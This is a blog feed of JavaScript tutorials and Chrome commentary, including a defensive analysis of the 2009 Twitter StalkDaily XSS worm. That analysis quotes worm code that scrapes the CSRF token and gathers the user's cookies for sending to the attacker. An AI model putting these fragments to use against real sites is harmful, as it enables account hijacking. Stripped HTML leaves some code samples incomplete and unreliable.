unitstep.net » JavaScript

Triggering links from JavaScript using jQuery

Peter Chng — Tue, 13 Apr 2010 00:56:48 +0000

Sometimes, you may want to trigger a link (that is, an anchor element) directly from JavaScript. That is, you may want to simulate the user clicking on the link programmatically.

If you’re using jQuery, you’ll no doubt be aware of the click() method which can be used to trigger that event on an object. One would think that executing click() on an anchor element would cause the browser to navigate to the URL, but this isn’t the case. You cannot use jQuery’s click() method to fully trigger or simulate a user clicking on a link.

Instead, click(), when executed on links, only seems to trigger any event handlers attached to the DOM element rather than any default behaviour. I’m not sure if this is the case with other event methods or other DOM elements.

The solution

Instead, the solution is to directly manipulate the window.location object from JavaScript. One would think that since preventing the default action is quite simple (with jQuery’s event.preventDefault()), triggering the default action of a link click would also be. But this isn’t the case. Here’s a simple example on how to simulate a user clicking on a link.

In this contrived example, we have an ordered list of links that we’ve prevented the default action from executing on each. Instead, to activate a link we’ve provided an input box for the user to input the link number and then hit ‘Go’. When this happens, we grab the identified link and assign the href attribute value of the link to window.location, effectively recreating the default action of clicking the link.

HTML Source:

XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


  

  jQuery Demos
  
  
  



jQuery Demos


  Google
  The Globe and Mail
  Stack Overflow



Link Number to activate:

JavaScript in scripts.js:

jQuery(function(e)
{
  jQuery("#outboundLinks").click(function(e)
  {
    e.preventDefault();
  });

  jQuery("#activateLink").click(function(e)
  {
    var links = jQuery("#outboundLinks li a");
    var value = parseInt(jQuery("#linkNumber").val());

    if (!isValidNumber(value, links))
    {
      window.alert("Invalid link number.");
      return;
    }
    else
    {
      // This won't work.  We cannot trigger the default
      // behaviour of clicking on a link this way.
      // links.eq(value - 1).click();

      // Instead, manipulate window.location directly.
      window.location = links.eq(value - 1).attr("href");
    }
  });
});

function isValidNumber(value, links)
{
    if (isNaN(value))
    {
      return false;
    }
    else if (value <= 0 || value > links.size())
    {
      return false;
    }
    else {
      return true;
    }
}

Note that window.location is not a regular property; it’s a special object that when assigned to, changes the URL in the address bar of the browser. There’s some debate over whether to directly use the location object or to use the window.location.href property.

This accomplishes the task of triggering the default action of clicking on a link, albeit in a roundabout fashion. Note that this example will only work for regular links that use href attributes as the source of the new URL. If you have links doing more complicated things via the use of event handlers (i.e. Ajax), then you’re better off using click() or directly invoking the JavaScript methods involved.

Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana

Evaluation of boolean values in JavaScript

Peter Chng — Wed, 12 Aug 2009 01:20:05 +0000

If you have a background in a strongly-typed language such as Java, you’ll be used to using logical operators only with boolean values/expressions. However, in most dynamically-typed languages this doesn’t have to be the case, due to the nature of dynamic typing: The type of the variable is often determined based on the context in which it is used.

With JavaScript there are actually two concepts at play when using logical operators: What is actually returned from the result of a logical operation, and how variables are converted to boolean values when the context requires it.

Undergoing a conversion

Firstly, we’ll look at how variables in JavaScript are converted to boolean values. One way to explicitly convert a non-boolean value to a boolean one in JavaScript is to use the global Boolean object as a function. By using the following code, you can explicitly get the boolean conversion of a variable or expression:

var asBoolean = Boolean(someVariable);

The variable asBoolean is now guaranteed to have a boolean value. Note that this is not the same as the expression new Boolean(someVariable), as that returns a Boolean (wrapper) object representing the converted value of someVariable, not a boolean primitive.

So what values of someVariable will result in true being returned, and which ones will result in false? The following values will evaluate to false, while all others will evaluate to true:

0 or -0 (Most floating-point implementations have positive and negative zero, due to the IEEE 754 standard)
null
undefined
NaN
The empty string (“”)
false itself

This means that all other expressions or values, including any non-null object (including the Boolean object for false!) and the string “false” will be converted to true.

Note that using the Boolean function isn’t the only way to explicitly convert a variable to its boolean equivalent. You could also apply the logical NOT operator twice, like so:

var asBoolean = !(!someVariable);

This is because the contract of the logical NOT operator in JavaScript is to return false if the operand can be converted to true and true otherwise. The second NOT simply reverses the negation done by the first NOT operator. While all of this may seem dead simple, it will be important to note as we move on to how other logical operators work.

Logical conversion

This is perhaps the most important difference with JavaScript. Although the logical NOT operator (!) is guaranteed to return a boolean value, the logical AND (&&) and logical OR (||) operators are not. This is by design, and although it might be a bit of a change for some developers, the feature can actually be quite useful.

Consider the following code examples:

var result = a && b

In this example of using logical AND, a is returned if it can be converted to false; otherwise b is returned.

var result = a || b

In this example of using logical OR, a is returned if it can be converted to true; otherwise b is returned.

This means that one of the original operands or expressions used with the logical operators will be returned as a result of the evaluation. You will not always get an actual boolean value, unless both of the operands were booleans to begin with. Usually, this doesn’t matter, since if you use the result in a boolean context, it will get converted to the expected value. For example:

var string1 = "";
var string2 = "a string that is not empty";
var result = string1 || string2;
if (result)
{
  window.alert("At least one string was not empty");
  window.alert(result);
}

This example will output “At least one string was empty”, and then “a string that is not empty”. This is because the logical OR operator first converts string1 to a boolean, which results in false. Thus, the result of the logical OR returns string2 into the result. Since the result is now a non-empty string, it converts to true for the if-conditional.

This also highlights a convenient way of using logical OR – give me the first expression if it evaluates to true, otherwise give me the second. This is usually used to test for the availability of built-in objects in a particular JavaScript environment.

However, consider the following example:

var string1 = "";
var string2 = "a string that is not empty";
var result = string1 || string2;
if (true == result)
{
  // We will never get here.
  window.alert("At least one string was not empty");
  window.alert(result);
}

In this slightly changed example, instead of directly supplying the result to the if-conditional, we test whether it is equal to true. In this case, it fails, since when using the equality operator, operands are not converted to booleans. (Using the strict equality operator also would not work)

This underscores an important point: If you actually want a boolean value to work with, you will have to explicitly convert it, using either the Boolean function or a double application of the logical NOT operator, like so:

result = Boolean(result);
// Or, we could do this:
result = !(!result);

Conclusion

JavaScript offers some neat features due to its dynamic typing and these can help speed development, but you just need to be aware of how they work so that you don’t get tripped up. This is especially true when dealing with implicit type conversion and how logical operators work. I hope you found this helpful and as always, any feedback is appreciated!

References

How the Twitter StalkDaily Worm spread so fast

Peter Chng — Tue, 14 Apr 2009 03:50:40 +0000

If you use Twitter a lot (unlike me) you’ll likely have been alerted and worried about the presence of a worm that’s been making the rounds at the popular micro-blogging website. The so-called “StalkDaily” worm was first noticed on Saturday, and it appeared to be able to “infect” a user’s Twitter profile, causing random tweets about the StalkDaily website (don’t go there) to show up on their profile. Furthermore, other user’s Twitter profiles could also become infected, seemingly by only viewing the profile of another infected user.

Eventually the source code of the worm was uncovered, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast. Here’s an overview of how the worm worked.

Overview

The StalkDaily worm was apparently written by a person named “Mikeyy Mooney”, who is evidently a 17-year old from Brooklyn, New York. He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user’s profile. The attack was not able to steal user’s passwords, thanks to Twitter’s security configuration, but it nonetheless caused over 10,000 unauthorized tweets to show up on users’ profiles.

Drilling down

An analysis of the source code of the worm yields some insight into how this malicious code was able to spread so effectively. Specifically, the attack used Type 2 or persistent XSS vulnerability, the most serious type, in order to achieve DOM/JavaScript injection into the Twitter site.

In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user’s profile. This injected JavaScript was then used to “infect” the profile of the user who viewed the already-infected profile, causing the cycle to repeat.

Specifically, the “URL” field of the user’s profile is targeted. This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to HTML entities when setting the contents to the value of the href attribute when displaying the user’s URL or homepage/website. This is seen in lines 104 and 109 of the source code, shown below:

var xss = urlencode('http://www.stalkdaily.com">


The last line is where the user’s profile is updated to show the offending JavaScript; this essentially make the user’s profile execute the worm’s source code, causing anyone who views the profile to become “infected” themselves.
Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file (x.js) on his site.  By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain.  This “privilege escalation” of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker’s choice.
Spreading
Once infected, a user’s profile would contain a link to the malicious JavaScript as described above.  This is because the user’s profile shows a link to their website URL, which had been altered to inject the malicious JavaScript residing the attacker’s server.  Because of this, anyone who was logged into Twitter and viewed an infected user’s profile would themselves be infected, and their profile would then become a vector for transmission of the worm, completing the cycle. 
The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website.  It appears the attacker was trying to promote his website this way, but it’s also possible that going to this website could also cause you to become infected.  While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it’s possible that a hidden iframe could be included on the site, pointing towards the profile of an infected user.  This would case you to become infected.
Why XSS is so important to prevent against
Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into HTML entities before being output to a webpage or displayed.  This can allow a malicious user to inject or alter the structure of the DOM, inserting script tags to inject their own arbitrary JavaScript into your website.
This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken.  For example, the source code of the worm shows that Twitter was using an “authentication token” for all form submissions in order to prevent Cross-site Request Forgery (CSRF) attacks.  This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.
This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker’s script (on a separate domain) was able to run with the same privilege of a script on Twitter’s own site.  Thus, it was able to read in the “authentication token” value from the HTML of the Twitter webpage, and use it to properly craft form submission data to alter the user’s profile and tweet on their behalf.  This is seen on lines 85-90:
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);
Note that using a cookie to store the authentication token would not have prevented this.  Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user’s cookies!  In fact it does exactly this, and furthermore it sends your cookies to the attacker’s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)
var cookie;
cookie = urlencode(document.cookie);
document.write("");
document.write("");
Other notes
Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a script element.  This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.  
However, this ability also allows useful services such as Google Analytics and other third-party services/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API.  Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like NoScript so that the user can have fine-grained control over issues like this. 
Other points of interest when looking at the source code is that the bulk of the code are utility functions.  The actual malicious code only takes up the last third of the file or so.  For example, the function XHConn() is simply a standard cross-browser compatible implementation of XMLHttpRequest, the API used for the Ajax requests necessary to alter the user’s profile.  Additionally, the urlencode() function is another utility function that allows values like the user’s cookies and the actual malicious script tag to be properly submitted in the Ajax request.
Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111)  This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like window.onload.
Concluding remarks
This analysis identifies the following points:

The worm spreads by updating your profile URL to include the malicious script.
Simply viewing the profile of an infected user is suffice to cause your profile to become infected.
Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.
The random tweets from an infected user do not appear to contain the malicious code, probably because output here has been protected against that.
The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies.  It also appears to log each visit to an infected user’s profile.
Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user.  This can be hard to detect, so using something the NoScript Firefox extension is recommended.

Note that this is not a criticism of Twitter itself, as designing any web application is  difficult from a security perspective; it’s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday.  They appeared to have the situation under control as of yesterday and had patched the hole as well as being on their way to cleaning up infected users’ profiles.  Understandably they are very upset and I hope they are able to sort the whole issue out.
Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana



JavaScript functions: First-class objects
Peter Chng — Tue, 24 Mar 2009 02:55:05 +0000
In JavaScript, functions are first-class objects, meaning that they can be created, manipulated and passed around in the same manner as other objects/variables in JavaScript.  For example, a function can be created, stored in a variable or even be the return value of another function, as seen below:
function getPower(power)
{
  return function(x)
  {
    return Math.pow(x, power);
  }
}

var x3 = getPower(3);
window.alert(x3(3)); // Outputs 27.
In the rather stupid and contrived example above, we make a function getPower() that returns another function which raises the given value to the exponent supplied by calling getPower().  (This is a bad way to do things for numerous reasons, but is just shown for the sake of providing a simple example)
We then call getPower with a power of 3 and assign the returned function to the variable x3, and the output is as expected.  Defining “inline” functions this way and manipulating them is closely associated with the concept of anonymous functions.
Functions: Copied and passed by reference
Since functions are objects, and objects are passed and copied by reference, the behaviour should be fairly straightforward to those familiar with the concept.  Here’s a quick example of what I’m talking about.  Since JavaScript functions can be treated just like plain old objects, this means we can attach arbitrary properties to them – let’s see how that relates to making a “copy” of a function:
function test() {window.alert("A Test");}
f = window.test;
window.test.aProperty = 'Hello!';
window.alert(f.aProperty); // Outputs "Hello!"

f.aProperty = 'Goodbye!';
window.alert(window.test.aProperty); // Outputs "Goodbye!"
The key here is that the expression f = window.test; doesn’t make a complete copy of the function; instead it just ensures that the variable f will point at the same function object as window.test.  So expressions that modify the underlying function object and its data will reflect in both window.test and f.  Just think of those two variables as being different ways of accessing the same underlying data.
But let’s consider another example: What happens if we make a copy of a function and then redefine the original?
function test() {window.alert("A Test");}

f = window.test;
f(); // "A Test"

// Redefine the original function.
test = function() {window.alert("A changed test");};

f(); // Still "A Test"!
window.test(); // "A changed test"
The results are a bit strange – it appears that when we redefine test, the changes are not reflected in the copy we created in variable f! Why is this?
Closer inspection yields the following answer: We were not actually redefining the function pointed to by test.  Instead, we created a new Function object in memory and then “pointed” test at this new function.  The old function, formerly referenced by test, is still referenced by the variable f so that is why it continues to invoke that code.
This is illustrated by the following diagrams.  In the first, the original function has been defined and two variables refer to it.



In the second diagram, we have created a new function and altered the variable test to refer to it; however the variable f still refers to the original function.  Thus, the important thing to note is that when using the assignment operator for functions, they are copied by reference.



The original function is still referenced by f

Where this matters
This point has relevance when talking about event handlers.  Typically, when we bind functions to a specific events this involves copying a function reference over to some other variable or property.  Whether we directly do this using traditional event registration by using an expression like element.onclick = someFunction or whether it’s done using jQuery’s Event Helpers, the effect is the same.
This means that after assigning the event handler, we cannot simply modify the original function to make changes to how the event handler works.  This is because when we assign a new function the old one will still be referenced by the event handler.  The proper way to do this at runtime would be simply to register the new function to the event and deregister the old one.
Another way to think of it is that you can often register anonymous functions to events; since they are anonymous you won’t have a reference to them after you assign them to the event handler so there is no way to modify them after the fact.  This same logic applies equally when assigning non-anonymous functions to events.
Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana


JavaScript Event Delegation
Peter Chng — Fri, 20 Feb 2009 03:47:44 +0000
JavaScript Event Delegation is a technique you may have heard of.  It’s a different way of using event handlers that offers clear benefits and is becoming more popular amongst web developers.  I’ll give a brief overview of event delegation in JavaScript, along with why you should consider it.  Note that this tutorial will use the great jQuery library (v. 1.3.1) for most examples.
Delegation
Delegation is a fairly well-known design pattern.  In short, it is a way for a method to produce its result simply by calling a method on another object, thus delegating responsibility to that object to provide the functionality needed by the method.  For example, a Cashier object could store a delegate object called Calculator.  Calling Cashier.addToTotal(value) would simply delegate to the contained object, calling Calculator.addToTotal(value).  
How is delegation different than inheritance?  With inheritance, the subclass inherits all of the functionality/behaviour of the parent class.  You may not want or need this; in the preceding example, it would not make sense to have Cashier extend from Calculator simply because we wanted the addToTotal() behaviour/functionality.  Delegation allows the behaviour advertised by a certain object/class to be provided by another.
Traditional Event Handling
In order to understand event delegation in JavaScript, we should first look briefly at how events are handled traditionally.  When I talk of traditional event handling, I am referring to the model that most will know.  In this model, functions are individually bound to events of certain elements.  For example, to make all links turn bold upon clicking them (and prevent them from being followed), we could use some JavaScript like this:
window.onload = function()
{
  links = document.getElementsByTagName('a');
  for (var i = 0; i < links.length; ++i)
  {
    links[i].onclick = makeBold;
  }

}

function makeBold()
{
  this.style.fontWeight = 'bold';
  return false;
}
The key point with this example is that the function makeBold(), our event handler, is bound to each and every a element.  From a resource point of view, this is may be a bad thing because the more event handlers that are attached, the more memory that is used, in general.
Of course, I promised I’d be using jQuery, and doing so cleans up the above code substantially, as well as making it cross-browser compatible: (Besides adding a ton of other abilities and making life easier)
jQuery(function()
{
  jQuery('a').click(makeBold);
});

function makeBold(e)
{
  e.preventDefault();
  jQuery(this).css('font-weight', 'bold');
}
While this code is cleaner, it still does basically the same thing as above, that is, the event handler function makeBold() is bound to each matched element, that is, each a element.
As a final note, don’t confuse my use of the term traditional with Peter-Paul Koch’s excellent guide to JavaScript event registration, where he uses the term traditional to refer to one method of event registration, distinct from inline registration and the later W3C and Microsoft “Advanced” event registration models.
Event handling using delegation
By contrast, event delegation uses a single (or comparatively few) event handlers to implement the behaviour required.  This takes advantage of two key features of JavaScript events, namely event bubbling and the target event.
Event bubbling is a model for how events take place on the page.  It grew out of a need to resolve the order in which events were triggered on ancestor and descendant elements.  For example, assume that I have two event handlers, one attached to the “click” event of a div and another attached to the “click” event of an a element within that div.  If I click the a element, which event fires first?  Event bubbling is one way to solve that question: It states that the event on the inner element happens first, and then the event “bubbles” upwards to trigger events on ancestor or container elements.  There is another opposing model that works in the opposite way, but bubbling seems to be better supported and is more relevant for this article.
Here’s a crude diagram of event bubbling, using a pseudo-CSS box model of sorts:



Event bubbling diagram

The event target is the DOM element that issued the event, or the originating element.  This is why I believe it’s a confusing term, since it would make more sense to called it the event source.  But I digress.  The event object, passed to an event handler as an argument (or available via window.event, though jQuery normalizes this) contains a property, event.target, that allows you to get the reference to the “target” element that the event started bubbling up from.
How it’s implemented
All of this is typically accomplished by registering a single event handler to a “container” element that holds all of the elements we wish to react to events for.  When an event is triggered on one of the inner elements, it “bubbles up” to the container element, where it triggers the event handler function.  From there, we can inspect the source of the event (confusingly called the event target) and then react accordingly.
This is where the delegation aspect comes into play.  Since the container element may hold many inner elements, it is unlikely that we would want the same behaviour for each element when an event was triggered on it.  For example, we might want certain a elements to trigger one action when clicked, while wanting another set of a elements to trigger another action.  We’d typically differentiate these links by using separate class names or by context and then attaching event handlers as appropriate.
Using event delegation, process is similar, but instead of attaching multiple event handlers we have one on the overall parent element.  When this event handler is triggered, we determine which element triggered the event and then based on this, delegate the remainder of the processing to another function.  An example would be helpful now, as our previous examples with making some text bold weren’t too useful.  Here’s the XHTML fragment for the container and elements.


  
    Item A - Click to toggle
    
      Sub-item 1
      Sub-item 2
    
  
  
    Item B - Click to toggle
    
      Sub-item 1
      Sub-item 2
    
  
  Item C - Click to remove
  Item D - Click to remove

And here’s the JavaScript:
jQuery(function()
{
  jQuery('div.container').click(handleEvent);
});

function handleEvent(e)
{
  // Obtain the source element through event.target.
  var target = jQuery(e.target);

  // Now decide what to do with it.
  if (target.is('a.expandList'))
  {
    // We use Function.call() to set the context for the `this` keyword.
    return expandList.call(target, e);
  }
  else if (target.is('a.remove'))
  {
    return remove.call(target, e);
  }
  else
  {
    // Otherwise, allow the default action to take place.
    return true;
  }
}

function expandList(e)
{
  e.preventDefault();

  // The `this` keyword now references the jQuery object representing the
  // target, since that is what we set the context to.
  jQuery(this).parent('li').find('ul.hide').slideToggle('fast');
}

function remove(e)
{
  e.preventDefault();
  jQuery(this).parent('li').fadeOut('normal', function(){jQuery(this).remove()});
}
With this example, the steps are clearly outlined.  First, we attach the overall event handler to the container element; events that take place on its inner or children element will bubble up to it.  When an event is received, we inspect event.target to determine the origin and based on that, “hand off” to another function to carry out the proper behaviour. 
With some standardization of the CSS class names you use and the associated event handler function names, you can clean up this code to reduce duplication and turn it into a design pattern of sorts.  In fact, that’s exactly what Dan Webb has done.
More advantages of event delegation
Besides potentially using less resources by having less event handlers bound, event delegation brings one other significant advantage: The ability to have event handlers “auto bind” to new DOM elements.  For example, let’s say we were to dynamically update the DOM and add more list items to our previous example; this sort of action happens frequently during Ajax operations where you want to present new content to the user.  
In the “traditional” event handling model, the new elements would not automatically respond to events as you would like.  This is because the events were individually bound to each element.  This is a well known problem.  However, in event delegation, since there’s only one event handler bound to the container or ancestor element, the newly-created elements will respond to the event properly! This is because an event on them “bubbles” up to the container element just as for the original elements.
Demo of Event Delegation
Perhaps a little demo is needed.  With this demo, you can see both the implementation of event delegation as well as the effect of adding new elements.
Drawbacks of event delegation
I’ve already talked about some of the benefits (fewer bound event handlers, so less resources used and the ability to adapt with DOM changes), but it’s worthwhile to iterate over some of the drawbacks.  

Firstly, not all elements “bubble up” in the way described.  The blur, focus, change and submit are notable exceptions so you will not be able to use event delegation with these events in the manner described in this article.
Furthermore, the code developed to maintain event delegation can be more complicated to understand than with just using the traditional model.  Indeed, there is an initial investment time everyone must make to get going.  This should obviously be considered since code maintenance is always important.
Because there’s one event handler being called for all events on inner/descendant elements, there can be some performance implications.  If you’re calling expensive functions within this event handler, the event processing could slow down significantly.  Careful optimization may be required.

However, some of these drawbacks can be mitigated by using solutions developed by the jQuery community.  Even though event delegation is somewhat new, there are already plugins available that take a lot of the grunt-work out of event delegation, abstracting away the details and making things easier for you.  Even jQuery itself also supports event delegation through a built-in function as of v1.3.  Here are some options for pre-built solutions:

Dan Webb’s Delegate Plugin

This is a fairly straightforward way to implement delegation and it’s easy to setup and understand.
jQuery’s built in live() function

This supports a subset of events but is good enough for most uses.
The Live Query plugin

This is your best bet if you need the most functionality, though I haven’t personally tried it out yet.

Conclusion
Delegation nicely solves the problem of having to rebind events after adding new elements to the DOM.  For that reason alone, I’ve started to use in my work more often.  At its heart, it’s a useful design pattern, but should be only with full understanding of the pros and cons.  I hope you enjoyed reading this article!
References

Event Delegation Made Easy
Event delegation without a JavaScript library
JavaScript Event Delegation is Easier than You Think
Why do my events stop working after an AJAX request?

Revisions

2009-02-20: Added a crude diagram of event bubbling

Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana


Chrome fallout
Peter Chng — Thu, 04 Sep 2008 23:56:02 +0000
Since Chrome’s official release some two days ago it certainly has gotten a lot of press, both positive and negative.
What’s good
On the positive side, there are some reports that Chrome’s market share has already surpassed that of Opera, coming in at close to 2.5% when I last checked.  These results should be taken with a grain of salt, as Clicky’s web analytics might only be used by websites that tend to be visited by those more technically-inclined and thus more likely to try out something like Chrome.  (Though Chrome’s visibility on Google’s main page no doubt has some small part in its fast growth)
For what it’s worth, Google Analytics on my lowly-trafficked site amounted to over 4% of hits in the past five days.  (Google Analytics has since started identifying Chrome as a specific browser type, no surprise)



Chrome browser share on my site

What’s iffy
While the V8 JavaScript engine of Chrome was reported to be fast (myself included) Mozilla has fired back with their own results when compared to the upcoming Firefox 3.1, which also features a newer, faster JavaScript engine dubbed TraceMonkey.
Even if this only manages to bring Firefox 3.1 to within striking distance of Chrome for JavaScript performance, it’ll still easily hand the win over to Firefox 3.1 considering its much larger established base and support for extensions/addons.
Microsoft, meanwhile, still seems to have their heads in the sand when it comes to IE.  True, IE7 still have a substantial margin on any other browser but that lead has been steadily sinking.  Though IE8 will likely be a vast improvement over IE7 and seeks to erase all memories of the abomination that was IE6, it looks like Microsoft will have its work cut out with the stiff competition from Firefox and Chrome.
Problems
The release was not without controversy, as since this product was from Google, many privacy concerns were voiced.  There were concerns about the “GoogleUpdate.exe” process that is installed with Chrome, which apparently allows for higher privileges to install software, which understandably freaked out some users.  Generally, unwanted processes running in the background are just the thing the tinfoil-hat wearers are looking for.
Additionally, some keen-eyed users who perused the EULA discovered that Google had apparently tried to claim ownership of all content posted through Chrome.  (Who actually reads a EULA?)  Evidently, it was all a mishap, as Google quickly moved to correct the errors in the TOS.  Apparently, in the rush to release Chrome, a “standard” TOS was used as the basis for the EULA, most likely similar to the ones covering services like Blogger, etc.
My own experiences
Personally, I’m very pleased with the browser.  The “application shortcut” feature is very nice as it makes web apps like Gmail integrate very nicely with the desktop.  I can’t wait to setup my Mom’s computer with shortcuts to things like Gmail that will undoubtedly make her life easier.
The JavaScript performance is very fast compared to other browsers, but some things like Flash are still buggy at times.  This has caused problems with sites like Google Finance (which uses Flash for the charts) and YouTube, which are ironically Google’s own services.
I guess the “Beta” tag and the lack of a full version number excuse these problems, though it looks as if the list of bugs is already quite extensive.  Google’s bug tracker for Chrome lists over a thousand bugs/feature requests currently, though likely many of them are duplicates.  (Google is, however, following the trend of using the “Beta” moniker in an increasingly loose manner)
Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana


Google Chrome: What it offers
Peter Chng — Wed, 03 Sep 2008 01:03:15 +0000

After much speculation yesterday, marked by a leaked web comic and finally an acknowledgment by Google, Google Chrome, the much anticipated web browser, is here.
I encourage you to download it and give it a try, as I did as soon as it came out.  Here are some of my initial impressions.
Overview
Google released a fairly long web comic that delves into quite a bit of detail about Chrome – it’s not your typical comic!  Touted as being built “from scratch”, Chrome uses the WebKit rendering engine, the same one that powers Safari and Konqueror.

The first thing you notice is how minimal the “Chrome” or UI of Chrome is.  If you’re used to a half-dozen toolbars, buttons and widgets all over the place, Chrome will seem like a greenfield to you.  By default, there is only a tab bar and then an address bar containing back, forward, a combined reload-stop button and the address bar.  There are also buttons for bookmarking a site and for page and browser settings.  The bookmarks bar is not displayed unless you specifically change that setting.
Keyboard shortcuts are also present so that you don’t have to click through context menus.  If you’re used to the keyboard shortcuts of Firefox and IE7 you’ll be pleased to know that most of them transfer over without change: Ctrl-T opens a new Tab, Ctrl-W/Ctrl-F4 closes a tab, Alt-D focuses the address bar and Ctrl-J opens Downloaded Files.
The address bar also functions as a search bar, and this combination just makes sense.  It’s something I’ve always been doing using Firefox Quick Searches
By default the home/start page is set to set to show an Opera-style “Speed Dial” page containing most recently-accessed pages/bookmarks.  You can also configure Chrome to restore the previous tabs/websites on startup, which is my personal preference ever since I started using Firefox.
Features
Chrome integrates Google Gears to speed up supporting web applications and is an obvious effort by Google to self-promote. This is substantial since the download link for Chrome is on the main Google search page – no small feat considering only the most popular/important services get that sort of attention and furthermore the link is positioned dead center beneath the search field.



The address/search bar

Chrome allows for quasi-Site-Specific Browsers by use of “Application Shortcuts”, which can be set for any website but are meant to be used mainly with web applications.  These allow you to open the target URL in a browser window that does not have the menu or address bars and essentially serves as a blank canvas upon which the web application’s own UI can be displayed.  
This is similar to other SSBs such as Mozilla Prism or Fluid for the Mac, as they aim to bridge the gap between desktop and web applications to make their integration more seamless.
However, like Google Blogoscoped points out, using such non-browser interfaces may condition the user to be more lax when entering their credentials and makes phishing attempts more viable since no URL is displayed.  This is curious since security, “sandboxing” and general safe browsing were so high on Chrome’s feature list – this feature seems to help undo some good user practices of always confirming the URL before entering credentials. 
There are also some nice little enhancements as well – the combined address bar/search bar is very much like Firefox 3′s “awesome bar”.  Chrome also allows you to dynamically resize any textarea element, without the site designer having to code this specifically in JavaScript or some other client-side technology.
Performance
Each tab/window is a separate process and thus will show up separately in Task Manager; Chrome also offers its own Task Manager but the memory usage reported here differs from that in the Windows Task Manager.  To get the full picture, you have to click on the “Stats for nerds” link, which takes you to about:memory



This page displays the full memory usage details, and also, surprisingly, displays memory usage for any other web browsers also currently running! (I have confirmed that it will display Firefox 2/3, IE7 and Opera 9)



Much talk has been made of this feature; indeed while it does use more resources, it also prevents a single site from bringing down the entire browser as only that tab/window will be affected.  To test this out, just terminate one of the instances of chrome.exe and you will see that tab’s screen into a “sad tab of death” with an amusing message.



JavaScript
Though JavaScript falls under the category of `Performance` I felt it deserves its own section because of the importance of JavaScript in web applications.  Chrome uses the Google-developed V8 JavaScript engine, which has also been released as open source.
The main points of V8 are outlined at the Google Code page for the project, and are quite interesting.  One of the main improvements in performance is the use of a Virtual Machine (VM) for processing JavaScript.
The V8 Virtual Machine is different from say, the JVM (Java Virtual Machine) in that it compiles JavaScript source directly to machine code; there is no intermediate byte-code representation used and hence no interpreter is needed for this.  This seems to indicate that JavaScript performance might be faster on Chrome since there’s no intermediary. Google provides some benchmarks to confirm this.
From some informal/unscientific preliminary testing, the V8 JavaScript engine in Chrome does appear to be quite fast; loading the same Digg topic in Firefox took longer than it did in Chrome. (Roughly 14 secs vs. 8 seconds over a few trials – and Chrome did not have the benefit of AdBlock Plus) I’d be very interested to see how Chrome stacks up against Firefox 3.1, considering the rumoured performance boosts coming with it.
If Chrome has anything going for it, it’s definitely the lightning fast JavaScript performance.  Coupled with the crash-proofing this makes it ideal for use in web applications.
Development
Chrome comes with a nice DOM inspector reminiscent of Firebug.  Using it is dead simple; you just right click and select “Inspect Element” and the inspection window will pop up with the element highlighted.  Here you can see the full DOM tree as well as the computed CSS styles for the element.  



There’s an included JavaScript console for executing code/commands/expressions on-the-fly and while there is a JavaScript debugger included, it seems at this time to be a command-line only tool, far less user-friendly than Firebug.
Not ready for prime time yet?
Of course, Chrome is marked as Beta by Google, something we’ve come to expect since Gmail has been in beta for longer than the company has been publicly traded.  Nonetheless, there are still some features that are sorely missed.
The one thing I absolutely love about Firefox is the vibrant developer community and subsequent widespread availability of quality, useful extensions.  This has produced such gems as the aforementioned Firebug and Adblock Plus.  
For now, extensions/addons are not part of Chrome but may be added in a later version.  In the meantime I don’t think I’ll be even close to ready to switch, as I’m very stubborn.  I don’t use that many extensions but the few that I do are “must-haves” and I just can’t browse without them.  
